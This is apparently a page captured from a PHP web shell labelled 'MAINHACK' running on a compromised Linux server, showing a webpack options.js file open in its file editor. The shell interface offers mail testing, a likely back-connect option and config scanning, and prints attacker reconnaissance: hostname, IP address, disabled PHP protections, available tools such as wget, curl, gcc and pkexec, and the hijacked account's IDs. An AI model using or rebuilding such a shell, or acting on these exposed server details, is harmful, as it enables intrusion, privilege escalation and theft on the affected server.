[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: options.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; /** @template T @typedef {(string | Record<string, string | string[] | T>)[] | Record<string, string | string[] | T>} ContainerOptionsFormat */ /** * @template T * @template N * @param {ContainerOptionsFormat<T>} options options passed by the user * @param {function(string | string[], string) : N} normalizeSimple normalize a simple item * @param {function(T, string) : N} normalizeOptions normalize a complex item * @param {function(string, N): void} fn processing function * @returns {void} */ const process = (options, normalizeSimple, normalizeOptions, fn) => { const array = items => { for (const item of items) { if (typeof item === "string") { fn(item, normalizeSimple(item, item)); } else if (item && typeof item === "object") { object(item); } else { throw new Error("Unexpected options format"); } } }; const object = obj => { for (const [key, value] of Object.entries(obj)) { if (typeof value === "string" || Array.isArray(value)) { fn(key, normalizeSimple(value, key)); } else { fn(key, normalizeOptions(value, key)); } } }; if (!options) { return; } else if (Array.isArray(options)) { array(options); } else if (typeof options === "object") { object(options); } else { throw new Error("Unexpected options format"); } }; /** * @template T * @template R * @param {ContainerOptionsFormat<T>} options options passed by the user * @param {function(string | string[], string) : R} normalizeSimple normalize a simple item * @param {function(T, string) : R} normalizeOptions normalize a complex item * @returns {[string, R][]} parsed options */ const parseOptions = (options, normalizeSimple, normalizeOptions) => { /** @type {[string, R][]} */ const items = []; process(options, normalizeSimple, normalizeOptions, (key, value) => { items.push([key, value]); }); return items; }; /** * @template T * @param {string} scope scope name * @param {ContainerOptionsFormat<T>} options options passed by the user * @returns {Record<string, string | string[] | T>} options to spread or pass */ const scope = (scope, options) => { /** @type {Record<string, string | string[] | T>} */ const obj = {}; process( options, item => /** @type {string | string[] | T} */ (item), item => /** @type {string | string[] | T} */ (item), (key, value) => { obj[ key.startsWith("./") ? `${scope}${key.slice(1)}` : `${scope}/${key}` ] = value; } ); return obj; }; exports.parseOptions = parseOptions; exports.scope = scope;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002